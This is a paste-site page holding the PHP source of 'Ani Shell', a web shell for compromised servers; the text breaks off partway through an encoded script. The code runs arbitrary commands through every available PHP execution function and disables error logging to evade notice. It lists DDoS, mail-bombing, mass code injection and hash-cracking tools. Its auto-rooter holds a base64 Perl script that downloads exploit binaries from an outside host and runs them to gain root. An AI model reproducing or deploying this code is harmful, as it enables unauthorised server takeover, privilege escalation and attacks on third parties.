Ani Shell

From Ashton, 3 Years ago, written in Plain Text, viewed 68 times.
URL https://paste.bugabuse.net/view/37303176 Embed
Download Paste or View Raw
  1. <?php
  2. /*
  3. []========================================
  4. []--------------Ani Shell-----------------
  5. []----------------------------------------
  6. []========================================
  7. []>>>>>>>>> c0d3d by Ashton <<<<<<<<<<
  8. []========================================
  9. []+  Email: ashton.turner@live.com.au      +
  10. []========================================
  11. []
  12. []
  13. []
  14. []
  15. []
  16. []
  17. []
  18. []
  19. []
  20. []  C0de For India
  21. []  Hack For India
  22. []  Live for India
  23. []
  24. []
  25.  
  26. Jai Hind
  27. */
  28.  
  29. ini_set('max_execution_time',0);
  30. ini_set('memory_limit','999999999M');
  31.  
  32.  
  33. function Zip($source, $destination) // Thanks to Alix Axel
  34. {
  35.     if (!extension_loaded('zip') || !file_exists($source)) {
  36.         return false;
  37.     }
  38.  
  39.     $zip = new ZipArchive();
  40.     if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
  41.         return false;
  42.     }
  43.  
  44.     $source = str_replace('\\', '/', realpath($source));
  45.  
  46.     if (is_dir($source) === true)
  47.     {
  48.         $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  49.  
  50.         foreach ($files as $file)
  51.         {
  52.             $file = str_replace('\\', '/', realpath($file));
  53.  
  54.             if (is_dir($file) === true)
  55.             {
  56.                 $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  57.             }
  58.             else if (is_file($file) === true)
  59.             {
  60.                 $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  61.             }
  62.         }
  63.     }
  64.     else if (is_file($source) === true)
  65.     {
  66.         $zip->addFromString(basename($source), file_get_contents($source));
  67.     }
  68.  
  69.     return $zip->close();
  70. }
  71.  
  72. if(isset($_GET['zip'])) {
  73.         $src = $_GET['zip'];
  74.         $dst = getcwd()."/".basename($_GET['zip']).".zip";
  75.         if (Zip($src, $dst) != false) {
  76.                 $filez = file_get_contents($dst);
  77.                 header("Content-type: application/octet-stream");
  78.                 header("Content-length: ".strlen($filez));
  79.                 header("Content-disposition: attachment; filename=\"".basename($dst)."\";");
  80.                 echo $filez;
  81.         }
  82.         exit;
  83. }
  84.  
  85. // ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\
  86.  
  87. /**************** Defines *********************************/
  88.  
  89. $greeting               = "0x xx W3lc0m3 M4st3r xx x0";
  90. $user                   = "lionaneesh";
  91. $pass                   = "lionaneesh";
  92. $lock                   = "on"; // set this to off if you dont need the login page
  93. $antiCrawler            = "off"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life')
  94. $tracebackFeature       = "off"; // set this feature to on to enable email alerts
  95. $ownerEmail             = "lionaneesh@gmail.com"; // Change this to your email , This email is used to deliver tracebacks about your shell
  96. $url                    = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  97. $phpVersion             = phpversion();
  98. $self                   = $_SERVER["PHP_SELF"]; // Where am i
  99. $sm                     = @ini_get('safe_mode');
  100. $SEPARATOR              = '/'; // Default Directory separator
  101. $os                     = "N/D";
  102.  
  103. if(stristr(php_uname(),"Windows"))
  104. {
  105.         $SEPARATOR = '\\';
  106.         $os = "Windows";
  107. }
  108.  
  109. else if(stristr(php_uname(),"Linux"))
  110. {
  111.         $os = "Linux";
  112. }
  113.  
  114. //*************************************************************/
  115.  
  116. // -------------- Traceback Functions
  117.  
  118. function sendLoginAlert()
  119. {
  120.     global $ownerEmail;
  121.     global $url;
  122.     $accesedIp = $_SERVER['REMOTE_ADDR'];
  123.     $randomInt = rand(0,1000000);           # to avoid id blocking
  124.     $from = "ani-shell$randomInt@fbi.gov";
  125.    
  126.     //echo $from;
  127.    
  128.     if(function_exists('mail'))
  129.     {
  130.         $subject = "Shell Accessed -- Ani-Shell --";
  131.         $message = "
  132. Hey Owner ,
  133.        
  134.         Your Shell(Ani-Shell) located at $url was accessed by $accesedIp
  135.        
  136.         If its not you :-
  137.        
  138.         1. Please check if the shell is secured.
  139.         2. Change your user name and Password.
  140.         3. Check if lock is 0n!
  141.  
  142.         Thanking You
  143.        
  144. Yours Faithfully
  145. Ani-Shell
  146.         ";
  147.         mail($ownerEmail,$subject,$message,'From:'.$from);
  148.     }
  149. }
  150.  
  151. //---------------------------------------------------------
  152.  
  153.  
  154. if(function_exists('session_start') && $lock == 'on')
  155. {
  156.     session_start();
  157. }
  158. else
  159. {
  160.     // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported
  161.     $lock = 'off';
  162. }
  163.  
  164. //logout
  165.  
  166. if(isset($_GET['logout']) && $lock == 'on')
  167. {
  168.     $_SESSION['authenticated'] = 0;
  169.     session_destroy();
  170.     header("location: ".$_SERVER['PHP_SELF']);
  171. }
  172.  
  173. ini_set('max_execution_time',0);
  174.  
  175.  
  176.  
  177. /***************** Restoring *******************************/
  178.  
  179.  
  180. ini_restore("safe_mode_include_dir");
  181. ini_restore("safe_mode_exec_dir");
  182. ini_restore("disable_functions");
  183. ini_restore("allow_url_fopen");
  184. ini_restore("safe_mode");
  185. ini_restore("open_basedir");
  186.  
  187. if(function_exists('ini_set'))
  188. {
  189.     ini_set('error_log',NULL);  // No alarming logs
  190.     ini_set('log_errors',0);    // No logging of errors
  191.     ini_set('file_uploads',1);  // Enable file uploads
  192.     ini_set('allow_url_fopen',1);   // allow url fopen
  193. }
  194.  
  195. else
  196. {
  197.     ini_alter('error_log',NULL);
  198.     ini_alter('log_errors',0);
  199.     ini_alter('file_uploads',1);
  200.     ini_alter('allow_url_fopen',1);
  201. }
  202.  
  203. // ----------------------------------------------------------------------------------------------------------------
  204.  
  205.  
  206. ?>
  207. <html>
  208. <head>
  209. <title>Ani-Shell | India</title>
  210.  
  211. <?php
  212. if($antiCrawler != 'off')
  213. {
  214.     ?>
  215.     <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
  216.     <?php
  217. }
  218. ?>
  219.  
  220. <style>
  221.  
  222. /*
  223. ==========================    
  224.     CSS Section
  225. ==========================
  226. */
  227.  
  228. * {
  229.     padding:0;
  230.     margin:0;
  231. }
  232.  
  233. html, body {
  234.         height: 100%;
  235. }
  236.  
  237. #container {
  238. min-height: 100%;
  239. margin-bottom: -330px;
  240. position: relative;
  241. }
  242.  
  243. #footer {
  244. height: 330px;
  245. position: relative;
  246. }
  247.  
  248. .clearfooter {
  249. height: 330px;
  250. clear: both;
  251. }
  252.  
  253. .alert
  254. {
  255.     background:red;
  256.     color:white;
  257.     font-weight:bold;
  258. }
  259. td.info
  260. {
  261.     width:0px;
  262. }
  263.  
  264. .bind
  265. {
  266.     border: 1px solid #333333;
  267.     margin: 15px auto 0;
  268.     font-size: small;
  269. }
  270.  
  271. div.end *
  272. {
  273.     font-size:small;
  274. }
  275.  
  276. div.end
  277. {
  278.     width:100%;
  279.     background:#222;
  280. }
  281.  
  282. p.blink
  283. {
  284.     text-decoration: blink;
  285. }
  286.  
  287. body
  288. {
  289.     background-color:black;
  290.     color:rgb(35,182,39);
  291.     font-family:Tahoma,Verdana,Arial;
  292.     font-size: small;
  293. }
  294.  
  295. input.own {
  296.     background-color: Green;
  297.     color: white;
  298.     border : 1px solid #ccc;
  299. }
  300.  
  301. blockquote.small
  302. {
  303.     font-size: smaller;
  304.     color: silver;
  305.     text-align: center;
  306. }
  307.  
  308. table.files
  309. {
  310.     border-spacing: 10px;
  311.     font-size: small;
  312. }
  313.  
  314. h1 {
  315.     padding: 4px;
  316.     padding-bottom: 0px;
  317.     margin-right : 5px;
  318. }
  319. div.logo
  320. {
  321.     border-right: 1px aqua solid;
  322. }
  323. div.header
  324. {
  325.     padding-left: 5px;
  326.     font-size: small;
  327.     text-align: left;
  328. }
  329. div.nav
  330. {
  331.     margin-top:1px;
  332.     height:60px;
  333.     background-color: #ccc;
  334. }
  335. div.nav ul
  336. {
  337.     list-style: none;
  338.     padding: 4px;
  339. }
  340. div.nav li
  341. {
  342.     float: left;
  343.     margin-right: 10px;
  344.     text-align:center;
  345. }
  346. textarea.cmd
  347. {
  348.     border : 1px solid #111;
  349.     background-color : green;
  350.     font-family: Shell;
  351.     color : white;
  352.     margin-top: 30px;
  353.     font-size:small;
  354. }
  355.  
  356. input.cmd
  357. {
  358.     background-color:black;
  359.     color: white;
  360.     width: 400px;
  361.     border : 1px solid #ccc;
  362.  
  363. }
  364. td.maintext
  365. {
  366.     font-size: large;
  367. }
  368. #margins
  369. {
  370.     margin-left: 10px;
  371.     margin-top: 10px;
  372.     color:white;
  373. }
  374. table.top
  375. {
  376.     border-bottom: 1px solid aqua;
  377.     width: 100%;
  378. }
  379. #borders
  380. {
  381.     border-top : 1px solid aqua;
  382.     border-left:1px solid aqua;
  383.     border-bottom: 1px solid aqua;
  384.     border-right: 1px solid aqua;
  385.     margin-bottom:0;
  386. }
  387. td.file a , .file a
  388. {
  389.     text-decoration:none;
  390. }
  391. a.dir
  392. {
  393.     font-weight:bold;
  394.     text-decoration:none;
  395. }
  396. td.dir a
  397. {
  398.     text-decoration:none;
  399. }
  400. td.download,td.download2
  401. {
  402.     color:green;
  403. }
  404. #spacing
  405. {
  406.     padding:10px;
  407.     margin-left:200px;
  408. }
  409. th.header
  410. {
  411.     background: none repeat scroll 0 0 #191919;
  412.     color: white;
  413.     border-bottom : 1px solid #333333;
  414. }
  415. p.alert_red
  416. {
  417.     background : red;
  418.     color: white;
  419. }
  420.  
  421. p.alert_green
  422. {
  423.     background : lightgreen;
  424.     color: black;
  425. }
  426. /*
  427.  
  428. --------------------------------CSS END------------------------------------------------------
  429.  
  430. */
  431. </style>
  432.  
  433. </head>
  434.  
  435. <body text="rgb(39,245,10)" bgcolor="black">
  436.  
  437. <div id='container'>
  438. <?php
  439. if(isset($_POST['user']) && isset($_POST['pass']) && $lock == 'on')
  440. {
  441.     if( $_POST['user'] == $user &&
  442.          $_POST['pass'] == $pass )
  443.     {
  444.             $_SESSION['authenticated'] = 1;
  445.             // --------------------- Tracebacks --------------------------------
  446.             if($tracebackFeature == 'On')
  447.             {
  448.                 sendLoginAlert();
  449.             }
  450.             // ------------------------------------------------------------------
  451.     }
  452. }
  453.  
  454. if($lock == 'off')
  455. {?>
  456.     <p class="alert_red"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></p>
  457. <?php
  458. }
  459.  
  460. if($lock == 'on' && (!isset($_SESSION['authenticated']) || $_SESSION['authenticated']!=1) )
  461. {
  462.  
  463. ?>
  464. <table>
  465.     <tbody>
  466.         <tr>
  467.             <td width="500px">
  468.         <pre>
  469. <font color="Orange">
  470. <b>
  471. []========================================
  472. []--------------Ani Shell-----------------
  473. []----------------------------------------</font><font color="white">
  474. []========================================
  475. []>>>>>>>>> c0d3d by lionaneesh <<<<<<<<<<
  476. []========================================</font><font color="rgb(35,182,39)">
  477. []   Email: lionaneesh@gmail.com         +
  478. []   Twitter : twitter.com/lionaneesh    +
  479. []========================================</font><font color="grey">
  480. []
  481. []
  482. []
  483. []
  484. []
  485. []
  486. []
  487. []
  488. []
  489. []  C0de For India
  490. []  Hack For India
  491. []  Live for India
  492. []
  493. []
  494. </b>
  495. </pre>
  496.             </td>
  497.             <td>
  498.                    <?php
  499.                    // <div id="wassup">
  500.                    //      include("http://ani-shell.sourceforge.net/wassup.txt");
  501.                    //</div>
  502.                    ?>
  503.                    
  504.  
  505.                 <h1><?php echo $greeting;?></h1><br /><br />
  506.                 <form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
  507.                 <input name="user" value="Username"/> <input name="pass" type="password" value="Password"/> <input class="own" type="Submit" value="Own This Box!"/>
  508.                 </form>
  509.             </td>
  510.         </tr>
  511.     </tbody>
  512. </table>
  513. <?php
  514. }
  515. //---------------------------------- We are authenticated now-------------------------------------
  516. //Launch the shell
  517. else
  518. {
  519.     //---------------------------------- Fuctions ---------------------------------------------------
  520.  
  521.     function showDrives()
  522.     {
  523.         global $self;
  524.         foreach(range('A','Z') as $drive)
  525.         {
  526.             if(is_dir($drive.':\\'))
  527.             {
  528.                 ?>
  529.                 <a class="dir" href='<?php echo $self ?>?dir=<?php echo $drive.":\\"; ?>'>
  530.                     <?php echo $drive.":\\" ?>
  531.                 </a>
  532.                 <?php
  533.             }
  534.         }
  535.     }
  536.  
  537.     function HumanReadableFilesize($size)
  538.     {
  539.  
  540.         $mod = 1024;
  541.  
  542.         $units = explode(' ','B KB MB GB TB PB');
  543.         for ($i = 0; $size > $mod; $i++)
  544.         {
  545.             $size /= $mod;
  546.         }
  547.  
  548.         return round($size, 2) . ' ' . $units[$i];
  549.     }
  550.  
  551. function getClientIp()
  552. {
  553.     echo $_SERVER['REMOTE_ADDR'];
  554. }
  555.  
  556. function getServerIp()
  557. {
  558.     echo getenv('SERVER_ADDR');
  559. }
  560. function getSoftwareInfo()
  561. {
  562.     echo php_uname();
  563. }
  564. function diskSpace()
  565. {
  566.     echo HumanReadableFilesize(disk_total_space("/"));
  567. }
  568. function freeSpace()
  569. {
  570.     echo HumanReadableFilesize(disk_free_space("/"));
  571. }
  572. function getSafeMode()
  573. {
  574.         global $sm;
  575.                 echo($sm?"ON (Most of the Features will Not Work)":"OFF");
  576.        
  577. }
  578.  
  579. function getDisabledFunctions()
  580. {
  581.     if(!ini_get('disable_functions'))
  582.     {
  583.                 echo "None";
  584.     }
  585.     else
  586.     {
  587.                         echo @ini_get('disable_functions');
  588.     }
  589. }
  590.  
  591. function getFilePermissions($file)
  592. {
  593.    
  594. $perms = fileperms($file);
  595.  
  596. if (($perms & 0xC000) == 0xC000) {
  597.     // Socket
  598.     $info = 's';
  599. } elseif (($perms & 0xA000) == 0xA000) {
  600.     // Symbolic Link
  601.     $info = 'l';
  602. } elseif (($perms & 0x8000) == 0x8000) {
  603.     // Regular
  604.     $info = '-';
  605. } elseif (($perms & 0x6000) == 0x6000) {
  606.     // Block special
  607.     $info = 'b';
  608. } elseif (($perms & 0x4000) == 0x4000) {
  609.     // Directory
  610.     $info = 'd';
  611. } elseif (($perms & 0x2000) == 0x2000) {
  612.     // Character special
  613.     $info = 'c';
  614. } elseif (($perms & 0x1000) == 0x1000) {
  615.     // FIFO pipe
  616.     $info = 'p';
  617. } else {
  618.     // Unknown
  619.     $info = 'u';
  620. }
  621.  
  622. // Owner
  623. $info .= (($perms & 0x0100) ? 'r' : '-');
  624. $info .= (($perms & 0x0080) ? 'w' : '-');
  625. $info .= (($perms & 0x0040) ?
  626.             (($perms & 0x0800) ? 's' : 'x' ) :
  627.             (($perms & 0x0800) ? 'S' : '-'));
  628.  
  629. // Group
  630. $info .= (($perms & 0x0020) ? 'r' : '-');
  631. $info .= (($perms & 0x0010) ? 'w' : '-');
  632. $info .= (($perms & 0x0008) ?
  633.             (($perms & 0x0400) ? 's' : 'x' ) :
  634.             (($perms & 0x0400) ? 'S' : '-'));
  635.  
  636. // World
  637. $info .= (($perms & 0x0004) ? 'r' : '-');
  638. $info .= (($perms & 0x0002) ? 'w' : '-');
  639. $info .= (($perms & 0x0001) ?
  640.             (($perms & 0x0200) ? 't' : 'x' ) :
  641.             (($perms & 0x0200) ? 'T' : '-'));
  642.  
  643. return $info;
  644.  
  645. }
  646.  
  647. // Dir size
  648.  
  649. /**
  650.  * Get the directory size
  651.  * @param directory $directory
  652.  * @return integer
  653.  */
  654. function dirSize($directory) {
  655.     $size = 0;
  656.     foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
  657.         try {      
  658.             $size += $file->getSize();
  659.         }
  660.         catch (Exception $e){    // Symlinks and other shits
  661.             $size += 0;
  662.         }
  663.     }
  664.     return $size;
  665. }
  666.  
  667. /***********************************************************/
  668. // exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
  669. // Turned OFF!
  670. /**********************************************************/
  671.  
  672.  
  673. function exec_all($command)
  674. {
  675.    
  676.     $output = '';
  677.     if(function_exists('exec'))
  678.     {  
  679.         exec($command,$output);
  680.         $output = join("\n",$output);
  681.     }
  682.    
  683.     else if(function_exists('shell_exec'))
  684.     {
  685.         $output = shell_exec($command);
  686.     }
  687.    
  688.     else if(function_exists('popen'))
  689.     {
  690.         $handle = popen($command , "r"); // Open the command pipe for reading
  691.         if(is_resource($handle))
  692.         {
  693.             if(function_exists('fread') && function_exists('feof'))
  694.             {
  695.                 while(!feof($handle))
  696.                 {
  697.                     $output .= fread($handle, 512);
  698.                 }
  699.             }
  700.             else if(function_exists('fgets') && function_exists('feof'))
  701.             {
  702.                 while(!feof($handle))
  703.                 {
  704.                     $output .= fgets($handle,512);
  705.                 }
  706.             }
  707.         }
  708.         pclose($handle);
  709.     }
  710.    
  711.    
  712.     else if(function_exists('system'))
  713.     {
  714.         ob_start(); //start output buffering
  715.         system($command);
  716.         $output = ob_get_contents();    // Get the ouput
  717.         ob_end_clean();                 // Stop output buffering
  718.     }
  719.    
  720.     else if(function_exists('passthru'))
  721.     {
  722.         ob_start(); //start output buffering
  723.         passthru($command);
  724.         $output = ob_get_contents();    // Get the ouput
  725.         ob_end_clean();                 // Stop output buffering            
  726.     }
  727.    
  728.     else if(function_exists('proc_open'))
  729.     {
  730.         $descriptorspec = array(
  731.                 1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  732.                 );
  733.         $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  734.         if(is_resource($handle))
  735.         {
  736.             if(function_exists('fread') && function_exists('feof'))
  737.             {
  738.                 while(!feof($pipes[1]))
  739.                 {
  740.                     $output .= fread($pipes[1], 512);
  741.                 }
  742.             }
  743.             else if(function_exists('fgets') && function_exists('feof'))
  744.             {
  745.                 while(!feof($pipes[1]))
  746.                 {
  747.                     $output .= fgets($pipes[1],512);
  748.                 }
  749.             }
  750.         }
  751.         pclose($handle);
  752.     }
  753.  
  754.     return(htmlspecialchars($output));
  755.    
  756. }
  757.  
  758. function magicQuote($text)
  759. {
  760.     if (!get_magic_quotes_gpc())
  761.     {
  762.         return $text;
  763.     }
  764.     return stripslashes($text);
  765. }
  766.  
  767. function md5Crack($hash , $list)
  768. {
  769.     $fd = fopen($list,"r");
  770.     if( strlen($hash) != 32  || $fd == FALSE)
  771.     {
  772.         // echo "$hash , " . strlen($hash) ." , $list , $fd"; // Debugging
  773.         return "<p class='alert_red'>Hash or List invalid!</p>";
  774.     }
  775.     else
  776.     {
  777.         while (! feof( $fd ))
  778.         {
  779.             if( ($pwdList = fgets( $fd, 1024 )) == FALSE)
  780.             {
  781.                 break;
  782.             }
  783.             $pwdList = trim($pwdList);
  784.            
  785.             if(md5($pwdList) == $hash )
  786.             {
  787.                     return "<script>alert('Password Cracked');</script>\n<h2>Hash Cracked</h2><br /><br />\n<p class='alert_green'>Planintext : $pwdList</p>";
  788.             }
  789.         }
  790.            
  791.     }
  792. }
  793.  
  794. function exec_query_mysql($query,$sql_server,$sql_port,$sql_db,$sql_user,$sql_pass)
  795. {
  796.     $link = mysql_connect($sql_server.":".$port,$sql_user,$sql_pass);
  797.     if(!$link)
  798.     {
  799.         return 'Could not connect: ' . mysql_error();
  800.     }
  801.     $resource = mysql_query($query);
  802.     if(!$resource) return(mysql_error());
  803. }
  804.  
  805. //------------------------------------------------------------------------------------------------
  806.  
  807.  
  808. ?>
  809.  
  810. <table class="top">
  811.     <tbody>
  812.         <tr>
  813.             <td width="300px;">
  814.             <div class="logo">
  815.                 <img src="http://ani-shell.sourceforge.net/banner.jpg" />
  816.             </div>
  817.             </td>
  818.             <td>
  819.             <div class="header">
  820.             <?php getSoftwareInfo(); ?><br />
  821. Your IP : <?php getClientIp(); ?> <font color="silver" >|</font> Server IP : <?php getServerIp();?> <br />
  822.             Safe Mode : <?php getSafeMode(); ?><br />
  823.             <?php if($os == 'Windows'){ echo showDrives();} ?> <?php echo getcwd();?>
  824.             </div>
  825.             </td>
  826.         </tr>
  827.     </tbody>
  828. </table>
  829. <div class="header" id="borders">
  830.             Server ADMIN: <?php echo $_SERVER['SERVER_ADMIN'];?> <font color="silver" >|</font>
  831.             PHP VERSION : <?php echo $phpVersion; ?> <font color="silver" >|</font>
  832.             Curl : <?php echo function_exists('curl_version')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
  833.             Oracle : <?php echo function_exists('ocilogon')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
  834.             MySQL : <?php  echo function_exists('mysql_connect')?("<font color='red'>Enabled</font>"):("Disabled");?> <font color="silver" >|</font>
  835.             MSSQL : <?php echo function_exists('mssql_connect')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
  836.             PostgreSQL : <?php echo function_exists('pg_connect')?("<font color='red'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
  837.             Disable functions : <?php getDisabledFunctions(); ?> <font color="silver" >|</font>
  838.             Space : <?php diskSpace(); ?> <font color="silver" >|</font>
  839.             Free : <?php freeSpace(); ?>
  840.         </table>
  841. </div>
  842. <div class="nav">
  843. <ul>
  844.     <li><a href="<?php echo $self;?>">Home</a></li>
  845.     <li><a href="<?php echo $self.'?upload';?>">Upload</a></li>
  846.     <li><a href="<?php echo $self.'?shell';?>">Shell</a></li>
  847.     <li><a href="<?php echo $self.'?r00t'?>">Aut0 R00t3r (Unix/Linux)</a></li>
  848.     <li><a href="<?php echo $self.'?dos';?>">DDoS</a></li>
  849.     <li><a href="<?php echo $self.'?fuzz';?>">Web-Server Fuzzer</a></li>
  850.     <li><a href="<?php echo $self.'?mail'?>">Mass Mailer</a></li>
  851.     <li><a href="<?php echo $self.'?bomb'?>">Mail Bomber</a></li>
  852.     <li><a href="<?php echo $self.'?connect'?>">Connect</a></li>
  853.     <li><a href="<?php echo $self.'?injector'?>">Mass Code Injector</a></li>
  854.     <li><a href="<?php echo $self.'?obfuscate'?>">PHP Obfuscator</a></li>
  855.     <li><a href="<?php echo $self.'?eval'?>">PHP Evaluate</a></li>
  856.     <li><a href="<?php echo $self.'?md5'?>">MD5 Cracker</a></li>
  857.     <li><a href="<?php echo $self.'?gdork'?>">Google Dork Creator</a></li>
  858.  
  859.  
  860.     <?php if($lock == 'on')
  861.     {
  862.     ?>
  863.         <li><a href="<?php echo $self.'?logout'?>">I m Out!</a></li>
  864.     <?php
  865.     }
  866.     ?>
  867. </ul>
  868. </div>
  869.  
  870. <center>
  871. <?php
  872. //-------------------------------- Check what he wants -------------------------------------------
  873.  
  874. // Shell
  875.  
  876. if(isset($_GET['shell']))
  877. {
  878.     if(!isset($_GET['cmd']) || $_GET['cmd'] == '')
  879.     {
  880.         $result = "";    
  881.     }
  882.     else
  883.     {
  884.         $result=exec_all($_GET['cmd']);
  885.     }
  886.     ?>
  887.     <textarea class="cmd" cols="100" rows="20"><?php echo $result;?></textarea><br /><br />
  888.     <form action="<?php echo $self;?>" method="GET">
  889.     <!-- For Shell -->
  890.     <input name="shell" type="hidden" />
  891.     <!-- For CMD -->
  892.     <input name="cmd" class="cmd" />
  893.     <input name="submit" value="Spin That Shit!" class="own" type="submit" />
  894.     </form>
  895.     <?php
  896. }
  897.  
  898. // Auto Rooter (Linux/Unix Only!) with Perl Installed
  899.  
  900. else if(isset($_GET['r00t']))
  901. {
  902.     // Note : The Perl Auto Rooter Perl Script was originally written by iskorpitx , All credits to him for an awesome
  903.     // Piece of code , and thanks to eXes0ul for providing me the links . ;)
  904.    
  905.     $r00t =
  906. "IyEvdXNyL2Jpbi9wZXJsIA0KIyBFeHBsb2l0IHRvb2xzIHYyLjAgY29kZWQgYnkgaXNrb3JwaXR4
  907. IChUdXJraXNoIEhhY2tlcikNCiMgbGludXggc2VydmVybGVyZGUgZ2VjZXJsaWRpcg0KIyBpeWkg
  908. c2Fuc2xhcjopDQojIGJ5IGlza29ycGl0eA0KeyANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3
  909. MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvaXNrb3JwaXR4Iik7ICANCnN5c3RlbSgiY2htb2QgNzc3
  910. IGlza29ycGl0eCIpOyANCnN5c3RlbSgiLi9pc2tvcnBpdHgiKTsgDQpzeXN0ZW0oImlkIik7IA0K
  911. c3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy80NCIpOyAg
  912. DQpzeXN0ZW0oImNobW9kIDc3NyA0NCIpOyANCnN5c3RlbSgiLi80NCIpOyANCnN5c3RlbSgiaWQi
  913. KTsNCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvOTUy
  914. MSIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyA5NTIxIik7IA0Kc3lzdGVtKCIuLzk1MjEiKTsgDQpz
  915. eXN0ZW0oImlkIik7ICANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVT
  916. L2ZpbGUvY2MvZnJvb3QiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgZnJvb3QiKTsgDQpzeXN0ZW0o
  917. Ii4vZnJvb3QiKTsgDQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oImlkIik7
  918. DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oImlkIik7DQpzeXN0ZW0oIndnZXQgMjc3MDQuYyBkb3du
  919. bG9hZHMuc2VjdXJpdHlmb2N1cy5jb20vdnVsbmVyYWJpbGl0aWVzL2V4cGxvaXRzLzI3NzA0LmMi
  920. KTsgDQpzeXN0ZW0oImdjYyAyNzcwNC5jIC1vIDI3NzA0Iik7ICANCnN5c3RlbSgiY2htb2QgNzc3
  921. IDI3NzA0Iik7IA0Kc3lzdGVtKCIuLzI3NzA0Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnByaW50ICJJ
  922. ZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8v
  923. d2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvMTgtMS5jIik7IA0Kc3lzdGVtKCJnY2MgLVdh
  924. bGwgLW8gMTgtMSAxOC0xLmMiKTsgDQpzeXN0ZW0oImdjYyAtV2FsbCAtbTY0IC1vIDE4LTMgMTgt
  925. MS5jIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgMTgtMSIpOyANCnN5c3RlbSgiY2htb2QgNzc3IDE4
  926. LTMiKTsgDQpzeXN0ZW0oIi4vMTgtMSIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4vMTgt
  927. MyIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBj
  928. dHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NNU19GSUxFUy9maWxl
  929. L2NjLzE4LTIiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgMTgtMiIpOyANCnN5c3RlbSgiLi8xOC0y
  930. Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0
  931. cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUv
  932. Y2MvMTgtMSIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyAxOC0xIik7IA0Kc3lzdGVtKCIuLzE4LTEi
  933. KTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3Ry
  934. bCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9j
  935. Yy9ydW4iKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgcnVuIik7IA0Kc3lzdGVtKCIuL3J1biIpOyAN
  936. CnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2Nc
  937. biI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NNU19GSUxFUy9maWxlL2NjL2V4
  938. cGxvaXQuYyIpOyAgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7
  939. DQpzeXN0ZW0oIndnZXQgcnVuX2V4cGxvaXRzLnNoIHdnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NN
  940. U19GSUxFUy9maWxlL2NjL3J1bl9leHBsb2l0cy5zaCIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyBy
  941. dW5fZXhwbG9pdHMuc2giKTsgDQpzeXN0ZW0oIi4vcnVuX2V4cGxvaXRzLnNoIik7IA0KcHJpbnQg
  942. IklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6
  943. Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy9leHBsb2l0Iik7ICANCnN5c3RlbSgiY2ht
  944. b2QgNzc3IGV4cGxvaXQiKTsgDQpzeXN0ZW0oIi4vZXhwbG9pdCIpOyANCnByaW50ICJJZiB1IHIg
